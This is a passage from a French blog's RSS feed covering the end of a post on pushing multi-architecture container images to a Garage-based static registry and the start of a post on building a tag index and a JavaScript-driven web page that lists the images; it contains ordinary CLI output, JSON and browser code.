[config linux 386] /tmp/alba-oci4145280408/multi/blobs/sha256/d69316bdcae505156be3560d0ec594c3b1f51c8590872a83b9f1735ac56c56bc -&amp;gt; v2/albatest/blobs/sha256:d69316bdcae505156be3560d0ec594c3b1f51c8590872a83b9f1735ac56c56bc
[blob linux 386] 1 items sent
[config linux amd64] /tmp/alba-oci4145280408/multi/blobs/sha256/f42e98b1f00892273b28d8f198f0a4e9138f19b0ceba8ceb6790cda6901d6e3f -&amp;gt; v2/albatest/blobs/sha256:f42e98b1f00892273b28d8f198f0a4e9138f19b0ceba8ceb6790cda6901d6e3f
[blob linux amd64] 1 items sent
[config linux arm] /tmp/alba-oci4145280408/multi/blobs/sha256/8830adff9feedffd3141a4aca5ea0ff2a8ae3b5731b4801eeb19aadad2d9ed05 -&amp;gt; v2/albatest/blobs/sha256:8830adff9feedffd3141a4aca5ea0ff2a8ae3b5731b4801eeb19aadad2d9ed05
[blob linux arm] 1 items sent
[config linux arm64] /tmp/alba-oci4145280408/multi/blobs/sha256/7add660d53f77f5c6ac6a833840ce5148015e0e1913a3d839ae0cf87a055e6c6 -&amp;gt; v2/albatest/blobs/sha256:7add660d53f77f5c6ac6a833840ce5148015e0e1913a3d839ae0cf87a055e6c6
[blob linux arm64] 1 items sent
Not yet implemented
✅ push succeeded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On voit que ça fonctionne comme prévu :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker pull registry.deuxfleurs.org/albatest:0.9
0.9: Pulling from albatest
ca485cd5ee4e: Pull complete
Digest: sha256:5b522fa8bdd9c959c31c0dfd59cabe4e3f1c2a05fff794f1b371af9cd60e106f
Status: Downloaded newer image for registry.deuxfleurs.org/albatest:0.9
registry.deuxfleurs.org/albatest:0.9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut aussi lister les tags comme prévu :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ crane ls registry.deuxfleurs.org/albatest
0.8
0.10
0.9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;publier-un-conteneur-sur-un-registre&quot;&gt;Publier un conteneur sur un registre&lt;/h2&gt;

&lt;p&gt;Ici on partage le code de base avec la publication sur Garage, et ensuite, on utilise la logique de Crane.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./alba container push -t albatest:0.9 ./docker &apos;docker://docker.io/superboum/albatest:0.9&apos;
-- load docker archives --
docker/linux.386.tar.gz -&amp;gt; [oci system image; os:linux, arch:386, path:/tmp/alba-oci2921914546/0]
docker/linux.amd64.tar.gz -&amp;gt; [oci system image; os:linux, arch:amd64, path:/tmp/alba-oci2921914546/1]
docker/linux.arm.tar.gz -&amp;gt; [oci system image; os:linux, arch:arm, path:/tmp/alba-oci2921914546/2]
docker/linux.arm64.tar.gz -&amp;gt; [oci system image; os:linux, arch:arm64, path:/tmp/alba-oci2921914546/3]
-- merge system images --
-&amp;gt; oci-layout
-&amp;gt; index.json
/tmp/alba-oci2921914546/0/blobs/sha256 -&amp;gt; /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
/tmp/alba-oci2921914546/1/blobs/sha256 -&amp;gt; /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
/tmp/alba-oci2921914546/2/blobs/sha256 -&amp;gt; /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
/tmp/alba-oci2921914546/3/blobs/sha256 -&amp;gt; /tmp/alba-oci2921914546/multi/blobs/sha256 (3 items)
--- push to registry ---
✅ push succeeded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut ensuite voir l’image sur le docker hub :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/20230503_13h49m47s_grim.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Ce petit outil du nom de alba permet de remplacer le script nix+shell que j’avais réalisé pour Garage, ainsi que Kaniko et manifest-tool. Il nous permet aussi pour la première fois de “transformer” Garage en registre statique. Enfin, pour la suite, il devait nous permettre d’implémenter aisément la garbage collection des artifacts dans le futur.&lt;/p&gt;
</description>
        <pubDate>Mon, 17 Apr 2023 07:45:22 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2023-04-17/automatiser-la-publication-des-artefacts/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2023-04-17/automatiser-la-publication-des-artefacts/</guid>
      </item>
    
    
    
      <item>
        <title>Spécifier un registre d&apos;artefacts et l&apos;intégrer dans un site web</title>
        
        <description>&lt;p&gt;Cet article est la suite de mon précédent article &lt;a href=&quot;https://quentin.dufour.io/blog/2023-04-06/un-registre-statique-docker-avec-garage/&quot;&gt;Un registre statique avec Garage.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Le premier point que j’ai regardé à la suite de la lecture de cet article était de savoir si on pouvait utiliser le module &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ociTools&lt;/code&gt; de NixOS pour générer des images directement comme je voulais via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix build&lt;/code&gt;. Il apparait que cet outil ne génère pas des images mais des conteneurs, deux représentations différentes, que je ne sais pas comment convertir en plus. Bref, ça ne nous avance pas, et si on veut faire mieux, je crains qu’il va simplement falloir écrire notre propre module NixOS, ce qui est trop couteux en temps pour le moment : on se contentera de cette innéficacité pour le moment…&lt;/p&gt;

&lt;p&gt;Ensuite, il est bon de noter qu’on a déjà une logique pour lister les builds statics en place écrite en nixlang pour Garage dans un fichier nommé &lt;a href=&quot;https://git.deuxfleurs.fr/Deuxfleurs/garage/src/commit/a2a35ac7a87fce2e38b8406f083e2350d4181b69/nix/build_index.nix&quot;&gt;build_index.nix&lt;/a&gt;. En gros elle va reprendre le concept de “tags” de Docker, et à l’aide d’une regex sur le tag, elle va classer les builds en 3 catégories : les builds de release, qui correspondent à un tag semver sans libellé (eg. 0.8.2), les builds extra, qui correspondent à un semver avec libellé (eg. 0.8.2+feat), et enfin tous les autres sont des builds de développement.&lt;/p&gt;

&lt;p&gt;On peut alors imaginer un affichage différencié de ces buils : les builds release sont affichés par défaut, les autres sont cachés derrière un bouton. On peut aussi imaginer une gestion des cycles de vie différents : les builds release sont gardés pour toujours, les autres sont supprimés après un certain temps.&lt;/p&gt;

&lt;p&gt;L’API S3 a un concept de Lifecycle Management et peut expirer des objets après un temps donné, c’est à dire les supprimer. Par exemple, on peut définir que les objets ayant leur préfix commençant par &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logs/&lt;/code&gt; seront supprimés après un an. Il serait tentant d’utiliser ce système pour notre système de gestion d’artefacts mais ça pose plusieurs problèmes : à ce jour, Garage n’implémente pas les Lifecycle Management, aussi le fonctionnement des images Docker fait qu’il est possible que plusieurs version d’une même image partagent un même blob, et enfin on est amené à générer un index qui liste toutes nos images, et qui se retrouvera donc à être invalide.&lt;/p&gt;

&lt;p&gt;Docker, et donc l’Open Container Initiative, a une spécification pour définir un index de tags pour une image donnée. Tout ça est décrit dans la spec “distribution” dans la section &lt;a href=&quot;https://github.com/opencontainers/distribution-spec/blob/main/spec.md#content-discovery&quot;&gt;Content Discovery&lt;/a&gt;. Implémenter cette spécification pour lister nos tags améliorerait l’intéropérabilité de notre registre avec les autres clients OCI. &lt;em&gt;Même si on ne pourra pas tout implémenter, par exemple le paging définit par la spec ne pourra pas être codé.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;La spécification OCI pourrait nous servir d’inspiration pour notre dépôt de fichiers statiques. Tout ça dans l’espoir de faciliter l’écriture du code et de limiter le nombre de conceps à manipuler. Mais cela veut aussi dire qu’on extrait de l’index la charge de catégoriser les tags (release, extra, development). Ça deviendrait alors une convention pour celles et ceux qui intéragissent avec notre futur outil. Et ça veut dire que si on ne garbage collect pas les nightly builds, cet index peut devenir bien grand…&lt;/p&gt;

&lt;p&gt;À travers ce panorama, je pense qu’on arrive au noeud du problème à traiter aujourd’hui : la spécification de notre index pour les fichiers statiques, la spécification de la convention à suivre pour les tags, et comment créer un outil qui facilite au maximum cette gestion.&lt;/p&gt;

&lt;h2 id=&quot;créer-un-index-pour-un-registre-oci&quot;&gt;Créer un index pour un registre OCI&lt;/h2&gt;

&lt;p&gt;On peut regarder un peu ce que donne le registre Docker pour Garage :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;dxflrs/garage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tags&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;02e8eb167efa1f08d69fe7f8e6192cde726c45aa&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;skipped entries&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fcc5033466e58e3beec05ee7748d33522b6b32b0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.7.3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8-rc2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-beta1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-beta2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-rc1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-rc2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.2&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut reproduire le même contenu sur notre registre en commençant par récupérer tous les manifests qui ne commencent pas par sha256 :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;ls &lt;/span&gt;s3://registry.deuxfleurs.org/v2/albatros/manifests/ | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt; | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; 4 | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;^sha256:&apos;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 0.9&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut construire le JSON à la main pour cette fois :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;albatros&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tags&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.9&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;L’envoyer :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /tmp/tags.json s3://registry.deuxfleurs.org/v2/albatros/tags/list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et ensuite s’assurer qu’on est bien compatible :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;crane &lt;span class=&quot;nb&quot;&gt;ls &lt;/span&gt;registry.deuxfleurs.org/albatros
&lt;span class=&quot;c&quot;&gt;# 0.9&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;À ma connaissance, le client Docker ne permet pas de récupérer ce fichier directement.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Bien entendu, il est peu probable que dégainer l’outil &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crane&lt;/code&gt; soit la première solution qui vienne à l’esprit des gens. Nos utilisateurs vont plutôt se rendre sur notre site web et s’attendre à voir les conteneurs listés sur une page dédiée ! En définissant des CORS sur notre bucket, on va permettre à un script JS astucieux de récupérer ce fichier via des requêtes XHR et de construire l’index.&lt;/p&gt;

&lt;p&gt;On pourrait aussi appeler ces fichiers depuis le générateur de site statique, et régulièrement regénérer le site web pour intégrer ces modifications. Aujourd’hui on utilise XHR sur la page de Garage, et ça a quand même l’avantage de la simplicité, alors pas de raison de changer :-)&lt;/p&gt;

&lt;p&gt;On va configurer les CORS de sorte que n’importe qui puisse lire notre index. On réalise ce choix car on ne peut pas spécifier de sous-domaine autorisé : c’est tout ou rien. Et vu qu’on ne sait pas par avance tous les sites webs qui pourraient vouloir requêter notre registre, on autorise tout le monde. Par contre on autorise seulement le GET, et voilà ce que ça donne au final :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CORS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;{&quot;CORSRules&quot;:[{&quot;AllowedHeaders&quot;:[&quot;*&quot;],&quot;AllowedMethods&quot;:[&quot;GET&quot;],&quot;AllowedOrigins&quot;:[&quot;*&quot;]}]}&apos;&lt;/span&gt;
aws s3api put-bucket-cors &lt;span class=&quot;nt&quot;&gt;--bucket&lt;/span&gt; registry.deuxfleurs.org &lt;span class=&quot;nt&quot;&gt;--cors-configuration&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$CORS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Voilà, maintenant on a tout pour générer une page web.&lt;/p&gt;

&lt;h2 id=&quot;générer-une-page-web-pour-nos-conteneurs&quot;&gt;Générer une page web pour nos conteneurs&lt;/h2&gt;

&lt;p&gt;On peut commencer simplement avec un squelette basique :&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;e&lt;span class=&quot;cp&quot;&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;reg&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;list&lt;span class=&quot;nt&quot;&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hello world&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On va avoir besoin d’une API du navigateur nommée &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileReader&lt;/code&gt; mais cette dernière utilise la sémantique des callbacks. On va créer un wrapper avec des Promises pour simplifier son utilisation :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reader&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FileReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onerror&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;abort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DOMException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Problem parsing blob&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readAsText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et maintenant on peut simplement écrire notre logique pour récupérer la liste des tags :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;albatros_tags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;async &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://registry.deuxfleurs.org/v2/albatros/tags/list&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
